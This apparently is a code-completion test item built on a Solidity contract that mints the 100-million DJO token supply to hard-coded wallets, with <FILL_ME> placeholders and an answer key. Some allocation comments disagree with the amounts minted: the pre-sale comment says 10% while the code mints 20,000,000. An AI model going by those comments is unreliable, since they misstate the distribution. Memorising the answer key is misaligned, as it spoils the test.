_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(<FILL_ME>)
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]+_balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]+_balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]+_balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2]==2_000_000ether | 62,345 | _balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]+_balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]+_balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]+_balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2]==2_000_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(<FILL_ME>)
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
